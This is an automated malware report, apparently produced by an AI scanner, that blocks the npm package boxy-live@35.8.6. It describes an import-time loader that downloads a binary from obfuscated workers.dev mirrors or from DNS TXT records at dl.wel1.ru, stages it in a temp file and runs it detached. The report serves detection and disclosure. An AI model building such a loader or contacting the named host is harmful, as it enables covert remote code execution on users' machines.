boxy-live@35.8.6: Malicious npm security report (Block)

AI Security Review

scanned 10d ago · by lpm-firewall-ai

Importing the advertised package immediately starts a covert payload loader. It downloads, writes, and detached-executes a platform binary from remote infrastructure.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Any runtime require/import of the package entrypoint.

Impact

Unconsented arbitrary native code execution under the importing process user.

Mechanism

Remote binary download, temporary-file staging, and detached execution.

Attack narrative

The advertised entrypoint silently requires _loader.js. On import it contacts obfuscated remote hosts or DNS TXT records for a platform-specific binary, stores a cooldown marker, writes the payload to a temporary path, makes it executable on Unix, and runs it detached via a shell or cmd.exe. This is a concrete remote-code-execution loader, not normal package functionality.

Rationale

The package’s minimal public API does not justify its unconditional covert native payload loader. No install hook is needed because the behavior activates on ordinary import.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js imports _loader.js on every package import.
_loader.js downloads platform binaries from obfuscated workers.dev mirrors.
_loader.js falls back to DNS TXT payload retrieval from dl.wel1.ru.
_loader.js writes a temp executable, chmods it, and launches it detached.
lib/telemetry.js contains a second configurable download-and-execute profiler path.

Evidence against

package.json has no lifecycle scripts.
No AI-agent control-surface mutation was found.
